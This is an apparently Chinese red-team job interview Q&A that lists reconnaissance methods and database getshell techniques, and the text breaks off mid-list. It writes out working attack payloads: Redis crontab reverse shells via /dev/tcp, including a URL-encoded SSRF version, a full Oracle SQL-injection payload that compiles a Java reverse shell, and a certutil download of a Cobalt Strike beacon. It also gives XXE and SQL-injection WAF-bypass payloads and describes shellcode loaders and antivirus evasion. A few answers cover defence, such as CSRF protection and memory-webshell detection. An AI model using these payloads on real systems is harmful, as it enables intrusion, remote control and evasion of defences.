前言

这个地方用来写一些常见的全面的,在安全岗位中,应聘红队的一些面经或问题。通过本篇文章检验自己的能力水平,提高面试技巧。

开始

1、给你个目标如何进行信息收集

如果是单位名称,先是查询备案信息获取主域名。然后对主域名进行子域名探测。在Github或搜索引擎上搜索相关目标是否有泄露账号、源码、资产信息。收集目标域名邮箱。收集到的子域名在空间测绘上批量探测,历史开放资产情况。收集所有信息、url地址、旁站、测试环境等、对目标进行指纹识别。之后根据指纹找漏洞利用。(附加:在fofa、鹰图、360等平台根据目标名称等先探测出资产)

2、子域名有哪些收集方式

子域名挖掘机

在线子域名枚举网站

fofa、360quake、鹰图、zomeye、零零信安等空间测绘

oneforall

自定义字典对子域名进行爆破

3、知道哪些数据库

MySQL、Oracle、MSSQL、Redis、Mongodb、Postgre、mariadb等

4、讲讲各个数据库怎么getshell

MySQL

MySQL的话可以通过sql注入向网站路径写入webshell,用select ”shell“ into outfile “path”。不过前提是

mysql中secure_file_priv配置为空=”” ,MYSQL服务导入和导出不做限制。同时还需要知道网站的绝对路径(不过绝对路径可以通过sql报错获取、或者把shell写入日志文件中)、当前数据库用户对目录的写入权限。

  • 如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
  • 如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
  • 如果secure_file_priv=”” ,MYSQL服务导入和导出不做限制

MySQL还可以通过udf(自定义函数)、mof加载提权获取shell,不过前提是获取到数据库的最高用户权限

Redis

Redis的话可以通过主从复制、写计划任务、ssh公钥、网站路径写入webshell等方式getshell

写计划任务、ssh公钥、webshell都是一样的步骤

set x "\n\n* * * * * bash -i >& /dev/tcp/ip/port 0>&1"   设置一个键值对

config set dir           #设置工作路径

config set dbfilename    #设置目标文件

save                     #保存配置、等待一分钟Redis重新获取配置即可(建议提前config get原来配置避免业务异常)

主从复制

redis是基于内存、可选持久性的数据存储数据库,当redis存储了大量数据时会影响服务器的读写性能,这就引入了主从复制功能。主节点redis与从节点redis数据相同、但是分工不同。主节点负责写、从节点负责读这样就减轻了主节点的负担。

利用条件:能够未授权访问,或知道口令获取redis权限

利用方式:使用slaveof host port将当前redis指定为指定redis服务器的从节点,slave of NO ONE 取消从节点设置

Oracle

Oracle的话获取了数据库权限,可以写java可执行代码获取shell

收集是否DBA: --is-dba

进入 --sql-shell 

查询SID:select instance_name from v$instance

查询当前IP:select sys_context('userenv','ip_address') from dual

爆破所有数据库账号、密码: --password   #获取上述信息后使用工具OracleShell

写java反弹shell代码
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("{your_ip}", {your_port});Process p = Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe|/bin/bash");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
import java.io.*;
import java.net.*;
public class shell {
    public static void run() throws Exception {
        Socket s = new Socket("{your_ip}", {your_port});
        Process p = Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe|/bin/bash");
        new T(p.getInputStream(), s.getOutputStream()).start();
        new T(p.getErrorStream(), s.getOutputStream()).start();
        new T(s.getInputStream(), p.getOutputStream()).start();
    }
    static class T extends Thread {
        private InputStream i;
        private OutputStream u;
        public T(InputStream in , OutputStream out) {
            this.u = out;
            this.i = in ;
        }
        public void run() {
            BufferedReader n = new BufferedReader(new InputStreamReader(i));
            BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));
            char f[] = new char[8192];
            int l;
            try {
                while ((l = n.read(f, 0, f.length)) > 0) {
                    w.write(f, 0, l);
                    w.flush();
                }
            } catch (IOException e) {}
            try {
                if (n != null) n.close();
                if (w != null) w.close();
            } catch (Exception e) {}
        }
    }
}

MSSQL

MSSQL的话内容比较大,具体的细节可以看看 先知社区 这篇文章 MSSQL Getshell方法

通过SQL注入获取–os-shell,然后在可写入目录下命令执行下载cs马

certutil.exe -urlcache -split -f http://192.168.163.128:8080/artifact.exe

堆叠注入开启 xp_cmdshell 执行系统命令

5、sqlserver默认端口是多少

sqlserver 2000-2019 默认端口都是 1433

6、redis主从rce原理

详见 Redis 主从复制

7、csrf怎么防护

严格校验客户端的 Referer 头

验证客户端请求提交的随机 token

图片验证码

header请求头中的 jwt 令牌 token

8、ssrf怎么判断

服务端会去请求客户端提交的host地址,并响应host内容或有dns解析记录、或者根据网站的响应状态码判断

9、ssrf不出网怎么探测

用服务端去读取localhost的网址或者127.0.0.1的web服务

10、ssrf只能用http怎么打weblogic

weblogic的:7001/uddiexplorer/SearchPublicRegistries.jsp存在ssrf漏洞

可以利用ssrf探测内网redis并提交

text

set 1\n\n* * * * * bash -i >& /dev/tcp/192.168.0.1/4444 0>&1\n\n”
config set dir /etc/
config set dbfilename crontab
save

aaa

http://127.0.0.1:6379/text%0A%0Aset%201%20%E2%80%9C%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.1%2F4444%200%3E%261%5Cn%5Cn%E2%80%9D%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa

11、xxe过滤system和public怎么绕过

双重实体编码绕过

<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">

%xml;

12、csp了解吗

CSP(Content Security Policy,内容安全策略)它通过限制网页中可以加载的资源(如脚本和图像),来防止恶意攻击,如跨站脚本攻击(XSS)、CSRF等。CSP的主要原理是通过在网页中实施一些安全策略来限制代码执行,从而减少攻击者利用的机会。定义阻止执行的代码。

13、dom xss有哪些关键字

document.getElementById(“dom”).innerHTML

14、Location对象有哪些属性

location属性用于获取或设置窗体的URL,并且可以用于解析URL

15、网站没使用cookie用token一般会存放在哪里

一般是sessionStorage或LocalStorage中

sessionStorage:当浏览器关闭后token会失效

LocalStorage: 浏览器关闭后,用户token依然有效

16、获取localStorage的函数名

setItem存储

getItem获取

17、jwt的攻击方式

1、默认key

2、none签名

3、空校验

4、暴力破解key

18、sql注入绕waf

看过滤了什么东西,尝试大小写、双写绕过加空格等方式绕过关键词过滤、还有内联注释、加密编码绕过。

过滤了=,可以用^异或<,>大于小于符号绕过、还有regexp、like、Rlike

过滤了双引号可以用十六进制、char(ascii)、函数形式绕过

过滤了空格可以用%0a、%a0、%00、%09、%0b、+等绕过

还可以使用\绕过转义’如

select * from users where uname='admin\' and password=' or 1=1;#'

其他一些函数平替

substr->mid->substring

ascii->Hex->bin

@@user->user()

@@version->version()

substr(str,1,1)=left(str,1)

substr(str,2,1)=right(left(str,2),1)

lpad(str,1,1)

rpad(str,1,1)

reverse

字符串替换

char(49)=Hex('a')=Unhex(61)=0x49

堆叠注入

原SQL
select * from user where id='$user';

插入 1';select '1 引起堆叠注入

宽字节注入

?id=1%df%27  ->  ?id=1龓'  %df会在gbk编码下与\组合成汉字导致绕过单引号转义

二次注入

其实就是第一个点没有注入,但是第二个点调用第一个点的信息导致了注入。比如注册一个用户

admin’#999

当修改用户密码时,可能由于校验不严格,导致从session中获取的用户名引起了二次注入从而修改了admin的密码。

内联注释

/!UnIon12345SelEcT/ 1,user()    数字范围 1000-50540

19、limit注入怎么利用

没有order by

直接联合或者报错

有order by

在5.0.0< mysql <5.6.6 时

用 procedure 构造报错注入/时间盲注

?id=2,0 procedure analyse(updatexml(1,concat(0x7e,database()),1),1)%23

不能报错用时间盲注

?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23

20、基于ast的waf怎么绕过

利用中间件+操作系统特性绕过

在IIS+ASP/ASP.NET中 S%ELECT会被识别为 select

在windows有一些文件命名特性 < > ? / 等

21、免杀了解吗

做过一些,原理就是对shellcode进行编码加密,绕晕waf。

像AES加密,xor异或运算、异或base64编码等。另外还可以自己写一套编码规则用于对每一个字符进行一一对应。这些是绕过静态waf的方法,至于动态waf或者行为查杀,可以在操作系统申请内存,将shellcode直接写入内存中运行,这样可以绕过部分动态查杀。还可以写注册表或重启开机时的计划任务,让shellcode在waf程序加载前运行。

webshell免杀的话了解过一些,主要利用了代码语言特性

像php可以利用取反、异或、编码、动态调用等特性进行免杀

jsp的没有过多了解,不过应该也是基于动态调用的,还有一种常见的就是unicode编码进行免杀

22、说说shellcode loader具体流程

读取shellcode、申请一块可读可写可执行的内存、将shellcode写入内存、创建线程、等待线程结束、程序退出(一般需要程序永远运行、设置等待时间为负数即可)。

方法

赋值->VirtualAlloc函数(ctypes.c_int(0x40))->RtlMoveMemory函数->CreateThread函数创建线程->WaitForSingleObject函数检测线程的状态

23、shellcode有哪些加载器

太多了,想要详细了解可以学一下博客园这篇文章 总结加载Shellcode的各种方式-亨利其实很坏-博客园

24、内存马了解吗

了解一些,主要是Tomcat的内存马。分listener、filter、servlet型

  • Servlet

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

  • Filter

Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。

  • Listener

Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。

以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。

Java Instrument

java.lang.Instrument包是在JDK5引入的,开发者通过修改方法的字节码实现动态修改类代码。利用Instrument,开发者可以开发单独的代理Agent,实现对JVM进程的运行时监控,分析JVM进程运行时内存状态,甚至可以很方便地修改内存中类的字节码,修改或者扩展已有的功能。基于Instrument的Java Agent的使用方式有两种:

  • 在JVM启动前加载

启动时配置-java agent参数,会执行Agent中的premain方法。

  • 在JVM启动后加载

使用com.sun.tools.attach.VirtualMachine包提供的loadAgent方法,将Agent注入到指定的JVM进程中,会执行Agent中的agentmain方法。

内存马无文件落地、通过一个url传参即可实现命令执行。如果想要传入任意url参数即可执行命令需要使用filter或listener型内存马。

详细了解内存马可以通过阅读 内存马的攻防博弈之旅

内存马排查

1、判断有没有新增或修改的类

2、有没有对应的class文件

3、xml配置有没有改动的注册

4、随机类名

5、检测agent

6、检测jsp的访问日志

当发现了内存马痕迹之后,可以收缩范围来排查路径

检查tomcat日志

检查中间件error.log日志,查看报错、可疑访问、命令执行请求

如果是filter或listener型,可以检测url中大量带有favicondemo或favicon带参数,响应200的请求

25、添加filter马的具体方法名

ApplicationFilterChain对象的DoFilter方法是调用filter

createFilterChain方法是添加filter马

26、了解CC链吗